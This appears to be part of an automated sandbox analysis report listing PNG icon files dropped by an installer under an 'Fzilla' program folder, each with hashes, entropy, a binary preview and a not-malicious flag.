Preview:	.PNG........IHDR...0...0.....W.......IDATx....d....m.......m.fm#.l.V.....Q.v.}..Q'..F5.....GV%N..'3...S..rZ...y7.\|.e..BS]]]..ICCC.......s.R;..x....[.......K.....6....Ia...n..K.b.e..........o>....={.......[........z..L._.Y.....3\.jUd.5...#MMM.Et...}.O>..>..w..q.5!.B9.......S...w...._...7".....[..Pz>i.(...l......M.......LMM..>k...v..ZVV.E".{..L.l.%.....`....v.Zc^.........{.9oEEE622b.?...A.../..B.%(I..`\.6.....&''.....k[.n.+....xd``...Pm...1clff.0..3..D++//7.MOO[NNN...e......_v.MV(........o;v.0Q../^l....c......nCCC.....a.f....a.5k..V....*;..s...}v...x..^..Moz....,q.hYZZ.MNN..F....O...:d.TcNGG.1.vtt.p.1.P\\l.]t...o.{.[.r...W........U..R4.....xoo..m~{....I_ff....o.Y.....=....).>..w..[..$..D.?....G.w...D...1`S"...$..D9....jM......A..\.../P...J........+...u...cf.....Qv...b.5...;.@1..D..mmm..H.c8.\2.ZZ...z.hM..q.].J.Q.....}$>JD06...sb.1....:ro..UN.....7@./55.[h.F&..=.>.`........%C._O..(...9.0Z..9.wt...s.R9}n,.h1.}8C.....#..R.....(..O..(UjC..

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-DPJFJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3019
Entropy (8bit):	7.912407224816828
Encrypted:	false
SSDEEP:	48:PBf10D2o/g8UWsDUmPqlWp6o/WSdxCVVNWwML24HEPnJPFhPwb:5y2o48UWaHygp6kVdxCVVNzi24kPnJtw
MD5:	7E844E152ABF5F1AE60DFC580BFE8881
SHA1:	FF861287B289433B5F0F6172E2C5A972F95B3A5F
SHA-256:	768E0DD28B098F82A5452BC062A231457A9A7B388E2BDEBFAC9B5A9C98A7F4D5
SHA-512:	E3FED01C905D9863AC29BCBB4FF6FA1B5F5D51875C1ADF2E0CFA8F788697E7D36440EEC9D5B04C43C0439935FF46E6FAA05D323DC301642B41DAD79DAE70F1A7
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....t.[.......R..m.m.m....).f...s....n...z.....Zy.....o..k..c.&./)....x..c.....m\|..Y.~....?....^S.u..r..G.....g.......u{.m...mw.n...qG.p.........._../..p.l......'....c6...Z4Wg.Tnb.1.1x.b4.....C.6q.....-m-.#.&....F....g..-....2t..%7...B.wX/%...\|...P..DqDMD8.._`.<..[....F..v.......X)+1q.q.v....\| ... ...#".......7....l....8...0..iCNI...7?.2#.....S...L..d ....4...~.^.i..Fxt.=w]{........\|.@I.#.lJ..%.p...<v...5v..!.C"......(...~LL.S..+0...u.=..t.0>}..<..H.'%..<.....@.....cF1h.qc..7........Z.r$&. ........w.mG...Fk.'...K..a...... .......,......;.:.h_!.8.HEJBG..H...+...-...}.A..0r..<t.JkHb...).i..H .f..?.$..F....og.R.iZy..u.......p.b.."...u..>d...7M.Lmmv...1.`....E..\`axb...]}..#....Rcl....D...@.../z...0.R.V..B..b.b8..:..(.)aP..J.V.....D...c...{.].......8.Tb.....=..{.o*...9.V.y.X>\|....#A..@`..:.Y<,..J....~.kLP...w/...C.\.r&.s.,0.KM.VZi....#...D...Qa!.(...%;\+............3..~.....GO?.p....!].Z..M

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-DTFFM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3259
Entropy (8bit):	7.891827290849898
Encrypted:	false
SSDEEP:	48:4bQWZLjs/bKKYsfMNKnqD7CLUeV7+qScfbomBeSGdDCfObaS6bjR:bWZLwDKKwFqLfkcVBeSkCpdl
MD5:	47C32DD4059C0345C7B440189374C69D
SHA1:	A6B28D1ECC3F13226DB2CBA39B571F974AF1CDA2
SHA-256:	53A23EA45F894152E14D51550AD53B74E27CCF31F34ACD354E2DC1FD26F69A57
SHA-512:	866AC7C86924543DAB658C9D503D1504A90A4C7DF84F14C8E4F1CFE85E21574F26FB590245497032E72EEAD785E8BAA0295731C5443254777F94E547DBEE2F11
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....+K.DOdV....a.....I......$Xffff.af..f.k..2o..rI...{.J...q\|#3.-.~=....R.9.&).i...r.J...`.H-x.R..ZpG.y. .Lh...J...]........\....1.C..r...x.....Y...SDM...;C..VJ7..i4...:6..LR.-R...5....<)........f..bW"UPk..h.5.u-....O"RJ..1.}....RsG....l..h.j..m....s6.b........f..X.^.......1W.x....p.V..w...Rj......C..!....`.....B...G.9.ND...`-k#.....v=C..s\[.d. \|..c.Y.....Pz.....>bm......R>....!uR..e.f..n....(..Rc...X...I.C...uF...Z..+.<..D6..6.......@......=8.n.....z..Z)/.I(!.p$......L.Q.Z!....$...L....w.s..J......n..}..:B..J.C..........`.3Xv$\p.P/..CX..lpE...u....]....=.5.. @.d.S.#.....A......f3.J.R.q.[.r..z..p..z&...4.b.$.....uu.r.8...+......A.......5jA.q..P...Gf3...p..L....P$.$$.d.l. ...w.p.>.-...W...H.X.M..A.(c.l.- Y.@.!.8.....0.....b.%..@.!.DNy..\|(..\....... .62......mY...AD.1A..d0...d...M..{...Y..G.......%....Q...\|.0v..#..u4..t &.b,."Id..s=..KH.R.J..`..S..<...x....vE...^...QA.M.f...J....j..{..[

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-FQIHH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	491
Entropy (8bit):	7.418307307805135
Encrypted:	false
SSDEEP:	12:6v/7/8HEOTp9lO+4mZlvumOjH24ntz7mX9fBxKh:3EOx4mru5K4NeB+
MD5:	7E6FE83B01D0B919B2DB645EC751EFF2
SHA1:	36AF223DF4160F6DD552E558989BBA8A345AAEB8
SHA-256:	56142FEFA0721D2F0E6133119E3AC1FB5D4E97C133CCDC6AC1D865D8AFF45580
SHA-512:	CB8CCE672155CCC825BC62739BF28FA96D00CA54624F0434348E2A3786EACBF5C26A6951A6C553ED81A0D3210CC60049810E6182AEC3F27AFBAF1C4AA2F2AEF7
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1.....IDATx..XYNCA.K._.Kp_.......eB;..g...;$.!..&q../.U\|.1A..........p}.M...1}.w...gE./...s.s.......:N..-b...%......_.<Kk@WKD.dh.U"...+..2.H.P.H..3...A@M...... ].R@j..b@+r_..z.@....jF...2BP.\...SL...aZ..c.Q.N.-.X.g...+2"B...X3U(..ES..x.#.[...j'D$.<P.U.-jj.....c&8...D.$h...#.HI0..... .._.......^.A...E;.6..l..._.8..$`..!"..\.JF. ..iU.y K......8..<.m.y.0.H...Ok `z...h._...-jU....Q.E.....9KL.9.'&....4....1.....m.7......../.W............IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-G84M8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	1011
Entropy (8bit):	7.622816129915371
Encrypted:	false
SSDEEP:	24:hSNxveAI7GbfoXEPiV3Oy3/+ToC0tQzPWV+U9:hS2AI7GbfoUPiV3T3/6o5LVJ
MD5:	AA4957FA63DF6685B2A25EDCDE1BEF11
SHA1:	67984828BCA9EA0813D57E75B98E8E9369657718
SHA-256:	195F102BB4FB40DDC34288A1206BC82206DC9FB5F56BF313AED5CAE45DED1008
SHA-512:	1EF4FBEF3C309638E1170995975B72EE8A28B1E11C79D6B98D904126918BB5BF1017F8EED35F3BA058327F83BD47FFD4CC7FF266F0EDA7395E8289E7D964BBFE
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1.....IDATx......K...zm.g.m.m.m.ms.u.:.F.:..#.T.J.g......@)..._..GM......cb.......A.10.....-(..{......A=\|....P.%....U.l.Q.c)3..(.6..4h........!.{...X.&..y........N~,.w..AE......P.'D.."u...nD..O@TU.aJ.i@.t......k.\@\|..bB.T4...h.0.....f4..-,.X...Q...."O.g-..1..\.......}..:...kZrO.<{.H0..-+.+.V@....M..T.......^4&....n.D.nE..g.4Z..=....}.....]....t:..-....&..{...3.1.YEP}....kN.;.".h/.......k1...P.q.;.L.nc. ..-....D.e>......^...2..WA....LeO..x...vu..lJ..`2...G.;.......:G....] ~.]D..&G.ZU....[.E....k......@.. .o...u...R.C...0........F.@..@./..A..j.....[&.ko...v..?.z..7......"..-E.=.~..! .4.W..... .1'...._...s....j..Mp.)..b.w..".&o.I.......~.(A....@.<...F...ZK.&..Mk.f.y.@...@0.Ya.......k.Z....t....ne.....y-.=V..].".Bp..=.`r.oyq.....(]...V0.%A.k.V......y......m.Zxoni.k.:......=....)w.`......>Nm..gln_o...f5.........z.U^n3.Y=X... h<#]..R..C.F..X......-..yB....(u8.^.TP.A.g(z(~.f..7.w{z.........k6......0............x\.

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-GBA8Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1595
Entropy (8bit):	7.809031979096335
Encrypted:	false
SSDEEP:	24:UulLDq/QNiluIDMz/zZMFD9CTudmKLNqleiRzJ8NTwXc44g4gpEqYJ/0yqfh77:dZW9sWMz1MFBCCoeYzy6PU/lqt7
MD5:	2D9CBCE358D8C1B66C2511A8B14CFFA4
SHA1:	6002955CB658FDC4E9B7A39D3C672222FB172B18
SHA-256:	9D2C5B388E3D82CB36BB300628E3D34DA5DB424A84F60EB3489A69D819278B7F
SHA-512:	94CC619BD3E61DAC53260AB975AEBEC742ACCBE4AD17C6475587D8919770C499A749C6FD2302865F976CC2705281EED3468D396346B3BDFBCD1196FD927E2A60
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....#.......R..{.Fa..D.c....Q.. ........a=..{..7.._.st..\.5.Z.%5g...;>.1.E..%Gv..<....kw............i.3o.?.o.....P..t.....n....T.8u......~.k.r.;...S.1R.gI5...f...Y....;.3..\|.5...g..oK.EU.....hH~..."...W..6.......W..^N..1....M..?MY...B.-..L...a..4/8...v.Mm.Y.G.5.9)....qz....4.Pq2).......?.T.3......Gd0....CD..&.! ..\|..fk........h..J...#....."au..p......!.8D.p.uc....^o.0O....ov3...@8}.$.{.\.z.g<e(" $M..1I.$w.. .$c....O..Mo.TK./<w..{{..z,U.....b...~......>{......3.K-.H.J;.s.....}...[.w&...-{..J.....2..._4....5.....].XY.!(^.....7&@w%.j`f8.g7....uU....\|.v.!:}W'`d./({...(..{.Ea\|.WyI.........@..,.....\..(.0...Aq............P..\|.%k"..........{..'....K..!."..T..;.I..5.!z......@.%E.R.S.NA.GF....}..U..3..#...@Q....k....@...(...qO..@..0.QI.I.....].rd.RV..@..`.?.Y$N.F..........o...P.}.xD...?...k\....X.......>...B...x.#X...g.=@p.e..a....pQ..........@....q..B.&.x...C.{..X..d...K..@..Bv........"....u...

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-HM6VK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2850
Entropy (8bit):	7.88078841184119
Encrypted:	false
SSDEEP:	48:VHULjjqZBWbUEebs7yN/AU4iROHY8q0ULDBresT:VpBNVUcIOROSnLDsW
MD5:	17F1CBB8781A293858A313B3565DAFC3
SHA1:	CB7929B5D94D985305C1F46C591E7074CC8A7199
SHA-256:	44D9D04144C429AB147723EBCEC3E4B67499975671F9FD54DBFEEA65341D8ED7
SHA-512:	F66DE2B9FC37666F0732C9B624A7DD3640568739A997A49C77B9279284CA7864EAD90BB004874241002F6B5ED88800DD8B815E26FBFCAD64D13B307E23C3ED84
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....$.v.?.U...t......fff...(.333.&......26c..L4...L.F....v5...9....l...H@.....cl.....4`.D.k?..&..e.vT?..>s.o..x.o.t.s..J..7..7...`i<.....;.3+[...'.._y..@....@.~.bvl._..S_...J(}..^.....".]z=...B ..G.}....'K..@\|..c_V..`.wi..<@>h..P:.l]....._r..@t.....0....O.W9b..P.......8...oR+...i@.I!.H../....i..Y.r.V....>.g.l?i.Y..c.......>...U.5......E_S;...o.W_....`4..&..2.;?..g..7g..".MZ...e..;...C$#..N\|.&.k ..."....O..7...fD.K..._./..L..O..9O`z..'>.....o.4j3fAnF.,.O...g<M.l........xM.?.I.Y..o...w...5..9.m..^..<X{.x.`].X.........'.}..N..1.......l.@.)....G>.0.-. <@.u..iM.;8p.c>.....k>......d.-...Q%..k...l..C?..c.. .5.......T.....S.~.b....Z.q..I.e ........f.Z..F.?X...W.m...;..Vv6...F.6..sO.....P0..,...[.dH.?g.q/.........:;....Q\|=L.....S...fL...oC...wu.......J....\X._Z]n.//.+..*...."....&-.......BH..sBB....`.~a..4.;.i.,...d0..o......d.....$zok..K...~.{.K>..^./..=..W...j.p_..f.c0!....,`....B..3.$.g\|W7.z_.A...8`.,.x.

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-I8KL5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2136
Entropy (8bit):	7.89517619447082
Encrypted:	false
SSDEEP:	48:VcKnuAVisAJPPzZiOorWAhwfC6Mh/2MdHfBSnkMGqoTlNu0Hn0f:VcC7+JPMroC6Mh/2IUkMGRRNuB
MD5:	D59ADE20B0C7C9B61729B0A19C451CD0
SHA1:	ADED32002FC16564781C812E932CB35C7EA803FF
SHA-256:	EB5CA415E6A81F407521466186E6EC1B6A7BF3EFB0AF1C98563B301F297ED551
SHA-512:	F0B96790CCA74243C83DAC09BFDAE13FD3DE5C80CE7DF18EBD530EE1FEF10312FBA12D90EF8CE75D049F520D9235C9B7C63CF69706215C44CC75ADB34EC2C587
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....#.....1-..1=:.33333.....aff. ...c.c.E.g.....Z{.;g.n.%........f.O.........}.gW_......9../.i...y....(...e9.M...\Y...M....s......F..yb..e\|.....LF6.80.D>.a.x...r..p.?..s...8R..O......&.J..2>T8oA.\|dV...k....@...\|.5.`.p.T..j.H)b...9.....4......M......-...M9k...7..rk.....G.%g-...n..9Qq.......,...<.&3....w....W...(../ZN.~..T.3~..5.Xkp..D.x.@f..\.../.......q....U#y.[Uj..=.u.....d. ..RL..!....g......g..N..Wl.H..x.....T.TP......0.H9ff&F0..b.xU.Y.....2.+..u+....."...U.V...(.`.......3...J.!xQ4x6nG.`.......>@J.).J....F....v.....hH1.R/.............B"....1.... .....-b.B.G;`.C.4..C.x.....".....t8Q...;)....m.. .^$.......J.I...U.s"B.K...;P....}..u<...5]1U.^:y/ h....UI...C.k{..N...$....l..=-.H."b...$N.3...c..,..."g...kZ........BW.j.e...A..%.n{_q^1(.:..4.J3.'....JM.Y........Y....!.YF@..R..kcM.V....$.X.a.4`T....a.".......[...(!i.H'.....Y.4=...C..^.M;H...I..A\|+.LW#g.l.NV.....}@.......HA(7\(..L.N#..0]v.....

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-J6T9M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4541
Entropy (8bit):	7.941726318863344
Encrypted:	false
SSDEEP:	96:zfbySKwFIaPnV+f33GToP78Q9bgjrFgDdNbHhO8PjIVlfsmCksJu:zOSKwFIafiWoP41jrKDd68P+gksJu
MD5:	34E1332DD39539CEEB6E50256E1A7D81
SHA1:	7F9C760AA312DBFD3122FD153190127A7F77D73E
SHA-256:	11A2E0BE0FA54EB2AC0D86943447131A42C3BEA0FD79AC46CF71E09E49321E6F
SHA-512:	8E4F4350E1A4888EF1D94688012E8FE773DFEBFF308D507EF79153691C875C1189A947723E70A01CC8D1D60101C03408DC8608F348D8109405CA999AC8B67829
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...t....3 ......C.9....-3.efff.Rn....+.)s.N..p.(...yS..VnR..........[#./..w..`Yy..HL.M..T..1.n....YO......=.....e.2cM.VV...@YI...T.E.J.0....P=...Zm5}......h..b3......%E.o:h..V.P0.....i.wH...wp.-..,/CJ. ..."..\v..o.......h.0FI. P.,J)pl.O..~S....` ...d-.T.~...).A.. .R....u>No?..z.sf.T.t....W.....C....`(Xn.fQ0...B...../.P_ `....:...+%0..~....]=dw.......}...\.r........UU...h.(.I.4y..L..<(..N.4-.@..$...;..l.k..[u..v.......V..;.$.8##x....C.T.4..P._.mc..{.Rf....f.$...hmi.....6v...5J........+.8...8....2..X.O}...[YKp@..;C.(...EI.lT..M.gK.8.A....@.06.. ........r....zp41.ZIi......K....]{.....).....s.1..v..z........,....i(...@h..k..B6.B.a...P9..J.W...`Ue.A.....,..W?.........vZ....W.E{JqI.m...8}Mm]].=.h..w.y..g.x...9.7...EC.-[..`......q].._...q...e.Q.&.._....(.....hin....k.(~.......~.,Z.`.R+.....7O@..\..v..O~.{....{..v..~...o}.K.,(.#.E..c...D.3.tQ..B..DY6 ..20..R.0...@..=].SW......^....s..>.....

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-JPPGS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3195
Entropy (8bit):	7.9254572822682094
Encrypted:	false
SSDEEP:	96:juJScY72wUxEE0KSm/oN1UTSHShaVAPNE:juE72wUxEE0KV/oNtzx
MD5:	D21C34B78A9DF856BD28C7C81CFA17E8
SHA1:	23C9BF82DB4D06D642A78AB11E2CB26F17AF05B4
SHA-256:	9A3A4493A981EC73606E54560E12B143876F91E5F1A6A78C2D490867BC5EF9AA
SHA-512:	EE06B6725F3793456433199025E1C90F7FF1CD4300AEF8DD3F15FC8891D324BA5005A7FA032C5626C31D8FE9CB50AF3E92FD652571002DE7067F811C7A2E035C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......BIDATx...........X^;.3...3'....................8;.]u..QIj.s.....~.ZjM..........7.....$>..D}...on......r.W...._^u..../...[..S....b.{/^.v..U.;...O..7........\|...C.{.vyq..4._.O.[....W....z...=..C=.%gmX0/...M.Y.~..%\|...+..8.V.X....n.p.....F...)...J.^.......b.)...4.........7S.b...j..$2......h^9.l1....A.\7....._...@l.....N..........G.ytu....K..y#..l^.C......=.^}..{......3..#kJiihwO!^.[...M...[.].y...}..r...3.L....0s.....C.z....v.e.U.7JO...+.1g..N...?g../`p."r...B-'\3.b...j._P.Z...e.....s.X....\|...8..f..$.AE..K...+Xp.a.....oy.Q......{.SF..V....I=....( .2..../_......=..p...z...Y"....H,P...j..e._..oz+Q.. ..!.gQ....?....m..Mb5..W..1+@...Gl~.c.s.......4%...U.T.1..0.He........>...}.6..:@.39..m.......r.5.U..9.......a..G.....~..=....@.J.B........d...5........'<.......z.L.E...QP.C.k!S..(x...K..Xq..^x...X.x.../.B.BQ..*..J.0P...0..C..?.o.}.}..?.>.:A.c..RifxQ4.,.S2.N......C6[..^..{.{..~...."a......3...@.P (.Z..n..j.

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-JSAVO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3652
Entropy (8bit):	7.919435511258349
Encrypted:	false
SSDEEP:	96:86fzK87fnPIryQlrlb7CfnPOVWKUU5cwvlZZbqsswZUpOF:86rfwrlQnPOVWmb7somOF
MD5:	7FFC8E1DE04D71113FF28DB7711E9C36
SHA1:	45B5166FB67C314A5EAB266B3F23E73D7B9FBB7E
SHA-256:	FF65CB12D4940B314408E7357CAF7BAC6EEB9FC7E0954F20BAC8DC5EA97E8664
SHA-512:	9F876ECECCEDA82B9D72FF4BCA6D95C82148AF504F1EF6ACC04DCD4497903FB3BFE770235B5D5820881E6920AA4C22A8FB65FF262DE4BD3D8D9BEA9C7B445373
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..X.t$M......Nv.....m.m.m....H...3.7..Mn....M........j..R>.o.....e.?.........yh...(.....w...F.......#..%#E.n /y.#....HR.V.b....F..^....._........O...........^<.....cj8....-..!.]>U.QlIT...6..4q\|....sh..]"G?..._._. L.P...s.9q.\.sc9..\|.s....F......A.4...&.....C.:...8r...;...._..o.....uR....._v.%..`"....z(.].<....^p......"...Q..4....p..z.G.[xu...Z.)?.....>.5.S.....}.I.....M]2S....,>..Qd}.8.p......j@..hC....r.pn=.JN.v.M...e.....7....!..._.._n....)gs..(az8...GV......F...m+w5V....H..45....\)..`...h..r.+...~.?.?.=!.7.......3..-e1=..H.C!.....fq.....P....H...I{s.X#LLW5.e.-.x.@>.`..cv4.'........7>.{.....b....~._@r..e1Xp.bR...`@......84..3Gk..$.........Ajs.;j..B)........+...~...=..}..w.m.@....?..m.....K...f.@!+.9.RpD.F..P(-WCL....g6..9.....7.o.+.8...QA...b\|.G....W.K^.....m{...]..g^8y.....r...J....7`H...>fx...-...X.3P.l[...V...(.R.A1.`f8....A........O.....K?t.O.M......f..u.\|OP.j0...[........dv....nan4..z.W

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-K59Q6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3020
Entropy (8bit):	7.917887535195548
Encrypted:	false
SSDEEP:	48:3tD2UJWml/ne1rNVVTtYbXD89f8mPLp+Ho/GjvceoZzHkfiGXb5ZBEF5k+vnUjac:NXkWKrLYbXD0hLAqGjc7zktbeF5DMaa9
MD5:	067226F96B7AAA98A561CC444BD1E38F
SHA1:	8D5F6BF29E250B45B08ABEC24E160B0F631B5C34
SHA-256:	B2431D3F074E6BE05DA61478FB0241AF9FE3FE14A3D8DFC9A9C5AE8C0581ECC7
SHA-512:	6BB6E2E98EF2DF73207DBA8CC7A354878FA928F40748C7D945D8CC7EAD96231FFB0FD0D76B12DE49A26CFE212AFA66F90BDE29DB0455AB537CBEAA320173D205
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...p.Z.@k.m.m...k......L.9.~s..;s.q.{....x...A.m.M......m..M..j.oh..;.t.q.p.6w..'.2...k......F.J.5Zt....U..,.5h.{..g..f....Q.v..^c8d.C.f..r._.[.e...[...`.....w>y=.j\.t....a.H.7.M&.M.c..$.-.)}..r......-.].6..N..g..S...\|0.B9.0..%........X.....F.BO..D\|.....9a.M.1D..w..W.Y.....p..!._.....7.0{.=...f>...`..,...f"%...2f......"?O[jMA....n.7.k......-WV.]...\<u..`.Q.Y..^..W......Z\|.C....[.E\|.H/{.{d.AY.Z.+.`....."?USP....O..c....0..t..W.\|.>.K.m.O.u$.&...Px..!..P...",..d..'.....A..t<....z..Dz...P...`.5.tE...`.9......L....V...T..h.....F.....A.Nd....@x..'.A...}..`........k.B...O.&..:k....{C`<d..8\|.Z..).,0u.s...PPdAt................K..!..ma.1,...E...<b!.g....U..?.............>.ko.... ,..2.....^...=.+.....p..^E@\|....HIJ 55...d"""........B..#*.Z.j]~..J...Tm.......\..+X.....Q4(3!_."+#...EU.AAA\|...'''D.ooo<<<P.....kd=...^...K.......[....q$x.C.w?^..\|..33...'!!...<...pttD ++.ye$....HII.@.QTT./..;n.j.........&H...

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-KJCBL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2718
Entropy (8bit):	7.914641155372363
Encrypted:	false
SSDEEP:	48:gxAXtBUulnzNG3bhUN0yi6qoZgKB5RzBWty2mgU6a9UzYy6L8kpKGRVgakTPOwV:ga9rhzyii6Zgu5ZYty2mgU9Ua8kpKGRe
MD5:	352B058EB1BE00FB9286950A592FC5FB
SHA1:	2617BE3A882B81E94471B0996362F521803469A6
SHA-256:	BEAC754532E95667A3B2A9A47F232CC058E16ECE1D76BF6B0526FCB72FDDE3F8
SHA-512:	10F0C2953E083445F7F8D9ADD2A0E91119F2F422C8E7DE3752535E924EEF281AF91C238E3E322B587A5DF1ABF6CD279EC80D6D66A2ECDCD571DCDA90015A59A8
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......eIDATx..W.p.V.=..2.^C.1..u.uRffffff.33...6...13.j....5..w.....h.<[......;D..W./~..._o0...UU.s...m.. ."t]..W^^.......6...^.7.sg....0=.8`.E..zk......5k...Ft..yH.@..a....A %$<O..(r#;.2..$..iPU.o.s.Q.h.c...h..gn._......@...#AB...7...p....B...Z..VRf.).}nc......&. ..r...3.SQ...7..2k....c.F.&...qfi....p..{...."...... ...S...F........m.....h.(.f.LE4-...sD...S.$."...V..I.}l...XB:I].i:.t..f...........1.h.b .}..j.R.>t..a.27....Rf..b$.@.NII1.Ct.'QB$.....x.@XU.21S.}n...(..(....\|]..h.>7r...L..P....l@."7.............P.~.A.,.e..GMM..s=.p<n...8.~n..7..u...2....6n...&.I....>.....v......)g?..1p.w.x..........a...}..\|......m.}.e.\|........q..6.}..\|....?.g....w...d/.GRC.d.....nE.....^.b.......7Z6a...=1...\.+..c.q3.\|2..%.~.{8...W.K.oy....._..wc.......m....E;._6..x....z...&o{tx......t...8..S...%..Op.r.e}c..t.......L.....}.....#.lV&..Cg...{}1~EW...!.`B.........\|..=.{..pI....X-VA5.!....s...v.}........D=.1c.v......n..V......"..

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-N4JVA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2541
Entropy (8bit):	7.895272434230799
Encrypted:	false
SSDEEP:	48:w6i15MGime/967uwM/v+LWi87fhUL9Oxsg7wbbT+y6dB6S5sI:wnkGim57ufPsg7YbT+3dLeI
MD5:	CA56E1B1AC534DC22C691DE0CF8F8BCA
SHA1:	98C47048B81EB5D4616400E44DFFBEACB58512F8
SHA-256:	C4A5E4D2DB551BBFFBBC178E74B4A0F07A18ABA964E4FA929FEDABFB90CAB0FA
SHA-512:	23F34355E30F541607B82472F1B16A8B42CD9DF98255A622DB6E257CBA0D72399757F9A4FBF9565DC947C88BF2D2C7849FE10E3C783378B24E34FF823B4F497B
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...l\Y.FO.{.k2c.i~.af....,Xffff..........1..M......(J,G...>3.X...9...^......U.ra..9o..UM..k.H..9.>.K.A..N%......o.0..+a........K.47.A.L....Tr....".'.e.[.\].....k.wEqD......(`....eJ.NjI./`....."}Nl.9)8.D.....0.....Q...0#..."....f1.((`t#......Y)x.qp.0.....6.E.,.....f. @..L\.b.@.ka.....7"...r.QL..D8.L.<1h...!`.`....J.s..... ....g.A.\|M.8..Qu....U...0.U.9D 8..P4l...... .!.^z1.(.B.].@...4...#WE`..#8.sqB.0@......~.\....9.A.z.F......;.]w......r..H7..r.....L,.;;v..o..F{..S......:..gtl\|..w....G~9.hL...%..9.ZHoz.G.4.,............../_.....7...d..t.X.8.."+FG.F.'".c$..;...\..j;.^5.......L..fM........iOB...F......R.<...Z.../..\|.XO.M3.)......<8..Yr.r.........P1..........'.....w.u.t`.E....!....i.M.\!q..28P.....>...N}.HsI./.g..6.E........x1p.....'.r.(.........),........T{[.Y...8.8...?p...J..u$..2......eW..L..>..............R.b.,..-8T.o...[.g9....S@.47..I..@.%.l.... .#.,.t..-.F9ih.B)Kz.X...&\|.O....:....}..D

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\is-PNVP7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3475
Entropy (8bit):	7.901767540145515
Encrypted:	false
SSDEEP:	96:b8OzXZERN5AskG36JltPFrtyCKQpTeDHBf:oOMbA8KfjpbC
MD5:	B270E3469A3B1EAB42EB388C6BEEBA3F
SHA1:	603FEE50BACB8DCCCFD909C304C3FB4054C18C4D
SHA-256:	677D40A06D4AE77E15ADEAFFDB7BFCA7721AAB970C2D63EC54C010ABFA1CA415
SHA-512:	01FA82CF6F28CC12F24F8C0E50EFCEC36E515CBD4BD9BE75CE8E4F739FD3E69EF488B9F0AC023B86A7149F490585383AF695ADC67F86FC5A1F3F7226B1C03796
Malicious:	false
